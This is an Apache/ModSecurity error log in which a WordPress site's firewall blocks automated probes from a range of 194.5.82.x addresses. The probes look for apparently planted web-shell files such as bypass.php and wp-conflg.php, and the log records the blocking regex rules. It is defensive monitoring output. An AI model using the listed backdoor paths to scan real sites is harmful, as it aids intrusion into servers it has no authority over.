[Sat Nov 22 05:16:54.596231 2025] [:error] [pid 25856:tid 25877] [client 194.5.82.136:61689] [client 194.5.82.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "aSDWxhsTP0wy94zKUvGXfgAAARM"]
[Sat Nov 22 05:16:57.060003 2025] [:error] [pid 25856:tid 25882] [client 194.5.82.155:29139] [client 194.5.82.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "aSDWyRsTP0wy94zKUvGXiQAAARg"]
[Sat Nov 22 05:17:06.073261 2025] [:error] [pid 53477:tid 53481] [client 194.5.82.159:56523] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "aSDW0n7Lu30Ku9O40aLN1gAAAAA"]
[Sat Nov 22 05:17:06.443360 2025] [:error] [pid 53566:tid 53576] [client 194.5.82.136:33619] [client 194.5.82.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "aSDW0sbSHDBkRbwMbd4lNQAAAMg"]
[Sat Nov 22 05:17:06.852727 2025] [:error] [pid 53479:tid 53552] [client 194.5.82.105:37979] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "aSDW0m6cicFF3Aas-oRl4QAAAJA"]
[Sat Nov 22 05:17:09.083304 2025] [:error] [pid 53566:tid 53575] [client 194.5.82.128:52627] [client 194.5.82.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "aSDW1cbSHDBkRbwMbd4lPgAAAMc"]
[Sat Nov 22 05:17:18.711966 2025] [:error] [pid 53566:tid 53574] [client 194.5.82.135:24499] [client 194.5.82.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "aSDW3sbSHDBkRbwMbd4lbQAAAMY"]
[Sat Nov 22 05:17:18.978999 2025] [:error] [pid 53479:tid 53557] [client 194.5.82.157:37609] [client 194.5.82.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "aSDW3m6cicFF3Aas-oRl_AAAAJU"]
[Sat Nov 22 05:17:24.352682 2025] [:error] [pid 53479:tid 53547] [client 194.5.82.150:62285] [client 194.5.82.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "aSDW5G6cicFF3Aas-oRmCwAAAIs"]
[Sat Nov 22 05:17:24.613681 2025] [:error] [pid 53566:tid 53587] [client 194.5.82.140:24599] [client 194.5.82.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "aSDW5MbSHDBkRbwMbd4lkwAAANM"]
[Sat Nov 22 05:17:26.691445 2025] [:error] [pid 53566:tid 53579] [client 194.5.82.135:29201] [client 194.5.82.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "aSDW5sbSHDBkRbwMbd4lngAAAMs"]
[Sat Nov 22 05:17:26.904897 2025] [:error] [pid 53566:tid 53570] [client 194.5.82.141:38945] [client 194.5.82.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "aSDW5sbSHDBkRbwMbd4lnwAAAMI"]
[Sat Nov 22 05:17:27.165269 2025] [:error] [pid 53478:tid 53533] [client 194.5.82.119:56063] [client 194.5.82.119] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.119, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSDW5whUYdXBbQswAdQC5gAAAFg"]
[Sat Nov 22 05:17:27.169751 2025] [proxy_fcgi:error] [pid 53478:tid 53533] [client 194.5.82.119:56063] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:17:27.302640 2025] [:error] [pid 53478:tid 53526] [client 194.5.82.119:56063] [client 194.5.82.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "aSDW5whUYdXBbQswAdQC6AAAAFE"]
[Sat Nov 22 05:17:32.954221 2025] [:error] [pid 53477:tid 53485] [client 194.5.82.143:47621] [client 194.5.82.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSDW7H7Lu30Ku9O40aLOHwAAAAQ"]
[Sat Nov 22 05:17:33.161783 2025] [:error] [pid 25856:tid 25880] [client 194.5.82.154:36935] [client 194.5.82.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSDW7RsTP0wy94zKUvGX2AAAARY"]
[Sat Nov 22 05:17:40.572746 2025] [:error] [pid 25856:tid 25862] [client 194.5.82.138:28803] [client 194.5.82.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "aSDW9BsTP0wy94zKUvGX7wAAAQQ"]
[Sat Nov 22 05:17:40.811936 2025] [:error] [pid 53479:tid 53542] [client 194.5.82.139:54093] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "aSDW9G6cicFF3Aas-oRmMgAAAIY"]
[Sat Nov 22 05:17:44.773746 2025] [:error] [pid 53566:tid 53580] [client 194.5.82.113:64331] [client 194.5.82.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "aSDW-MbSHDBkRbwMbd4mBQAAAMw"]
[Sat Nov 22 05:17:45.010692 2025] [:error] [pid 25856:tid 25878] [client 194.5.82.143:47487] [client 194.5.82.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "aSDW-RsTP0wy94zKUvGYCgAAARQ"]
[Sat Nov 22 05:17:45.349622 2025] [proxy_fcgi:error] [pid 53477:tid 53484] [client 194.5.82.125:29731] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:17:45.458911 2025] [:error] [pid 53477:tid 53482] [client 194.5.82.125:29731] [client 194.5.82.125] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.5.82.125, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSDW-X7Lu30Ku9O40aLOQAAAAAE"]
[Sat Nov 22 05:17:49.067018 2025] [:error] [pid 53477:tid 53481] [client 194.5.82.125:29731] [client 194.5.82.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "aSDW_X7Lu30Ku9O40aLOSgAAAAA"]
[Sat Nov 22 05:17:52.983829 2025] [:error] [pid 53477:tid 53488] [client 194.5.82.123:51177] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "aSDXAH7Lu30Ku9O40aLOagAAAAc"]
[Sat Nov 22 05:17:54.962773 2025] [:error] [pid 25856:tid 25866] [client 194.5.82.170:59297] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "aSDXAhsTP0wy94zKUvGYKQAAAQg"]
[Sat Nov 22 05:17:55.148328 2025] [:error] [pid 53479:tid 53560] [client 194.5.82.147:43391] [client 194.5.82.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aSDXA26cicFF3Aas-oRmdAAAAJg"]
[Sat Nov 22 05:17:59.158331 2025] [:error] [pid 53478:tid 53510] [client 194.5.82.159:61261] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aSDXBwhUYdXBbQswAdQDWAAAAEE"]
[Sat Nov 22 05:18:02.952827 2025] [:error] [pid 53478:tid 53529] [client 194.5.82.170:20765] [client 194.5.82.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSDXCghUYdXBbQswAdQDYQAAAFQ"]
[Sat Nov 22 05:18:10.192908 2025] [:error] [pid 53566:tid 53590] [client 194.5.82.130:37921] [client 194.5.82.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aSDXEsbSHDBkRbwMbd4mSwAAANY"]
[Sat Nov 22 05:18:10.432858 2025] [:error] [pid 53477:tid 53488] [client 194.5.82.139:46205] [client 194.5.82.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aSDXEn7Lu30Ku9O40aLOqQAAAAc"]
[Sat Nov 22 05:18:12.647248 2025] [:error] [pid 25856:tid 25876] [client 194.5.82.117:57023] [client 194.5.82.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/count.php"] [unique_id "aSDXFBsTP0wy94zKUvGYdAAAARI"]
[Sat Nov 22 05:18:24.290367 2025] [:error] [pid 25856:tid 25863] [client 194.5.82.120:59209] [client 194.5.82.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSDXIBsTP0wy94zKUvGYtwAAAQU"]
[Sat Nov 22 05:18:28.148968 2025] [:error] [pid 53566:tid 53591] [client 194.5.82.105:51175] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "vetstars.com.au"] [uri "/images/stories/themes.php"] [unique_id "aSDXJMbSHDBkRbwMbd4mdAAAANc"]
[Sat Nov 22 05:18:28.258926 2025] [:error] [pid 53566:tid 53574] [client 194.5.82.105:51175] [client 194.5.82.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aSDXJMbSHDBkRbwMbd4mdQAAAMY"]
[Sat Nov 22 05:18:32.373723 2025] [:error] [pid 53478:tid 53520] [client 194.5.82.134:59375] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aSDXKAhUYdXBbQswAdQDrwAAAEs"]
[Sat Nov 22 05:18:32.579194 2025] [:error] [pid 25856:tid 25876] [client 194.5.82.143:24013] [client 194.5.82.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aSDXKBsTP0wy94zKUvGYywAAARI"]
[Sat Nov 22 05:18:40.074320 2025] [:error] [pid 53479:tid 53536] [client 194.5.82.146:29467] [client 194.5.82.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aSDXMG6cicFF3Aas-oRm8gAAAIA"]
[Sat Nov 22 05:18:42.388039 2025] [:error] [pid 53477:tid 53481] [client 194.5.82.130:63413] [client 194.5.82.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aSDXMn7Lu30Ku9O40aLO8AAAAAA"]
[Sat Nov 22 05:18:42.788941 2025] [:error] [pid 53566:tid 53575] [client 194.5.82.153:51203] [client 194.5.82.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aSDXMsbSHDBkRbwMbd4mlgAAAMc"]
[Sat Nov 22 05:18:50.043144 2025] [:error] [pid 53477:tid 53492] [client 194.5.82.141:36849] [client 194.5.82.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aSDXOn7Lu30Ku9O40aLPCQAAAAs"]
[Sat Nov 22 05:18:52.037197 2025] [:error] [pid 53479:tid 53548] [client 194.5.82.162:29889] [client 194.5.82.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aSDXPG6cicFF3Aas-oRnCgAAAIw"]
[Sat Nov 22 05:18:54.026858 2025] [:error] [pid 53479:tid 53557] [client 194.5.82.145:51847] [client 194.5.82.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aSDXPm6cicFF3Aas-oRnEwAAAJU"]
[Sat Nov 22 05:18:54.209060 2025] [:error] [pid 25856:tid 25882] [client 194.5.82.109:47829] [client 194.5.82.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSDXPhsTP0wy94zKUvGZGAAAARg"]
[Sat Nov 22 05:18:54.777860 2025] [:error] [pid 25856:tid 25860] [client 194.5.82.160:47367] [client 194.5.82.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aSDXPhsTP0wy94zKUvGZHQAAAQI"]
[Sat Nov 22 05:19:02.033898 2025] [:error] [pid 25856:tid 25867] [client 194.5.82.134:24677] [client 194.5.82.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aSDXRhsTP0wy94zKUvGZSQAAAQk"]
[Sat Nov 22 05:19:02.241545 2025] [:error] [pid 53566:tid 53588] [client 194.5.82.127:45897] [client 194.5.82.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aSDXRsbSHDBkRbwMbd4mugAAANQ"]
[Sat Nov 22 05:19:11.406650 2025] [:error] [pid 53566:tid 53575] [client 194.5.82.123:46349] [client 194.5.82.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aSDXT8bSHDBkRbwMbd4mzQAAAMc"]
[Sat Nov 22 05:19:14.078068 2025] [:error] [pid 53477:tid 53500] [client 194.5.82.159:65281] [client 194.5.82.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aSDXUn7Lu30Ku9O40aLPdQAAABM"]
[Sat Nov 22 05:19:18.177891 2025] [:error] [pid 25856:tid 25867] [client 194.5.82.145:20153] [client 194.5.82.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aSDXVhsTP0wy94zKUvGZgQAAAQk"]
[Sat Nov 22 05:19:18.381446 2025] [:error] [pid 25856:tid 25879] [client 194.5.82.137:40045] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aSDXVhsTP0wy94zKUvGZggAAARU"]
[Sat Nov 22 05:19:20.384132 2025] [:error] [pid 53478:tid 53515] [client 194.5.82.137:57091] [client 194.5.82.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aSDXWAhUYdXBbQswAdQEKwAAAEY"]
[Sat Nov 22 05:19:24.088890 2025] [:error] [pid 53477:tid 53498] [client 194.5.82.156:60417] [client 194.5.82.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aSDXXH7Lu30Ku9O40aLPiAAAABE"]
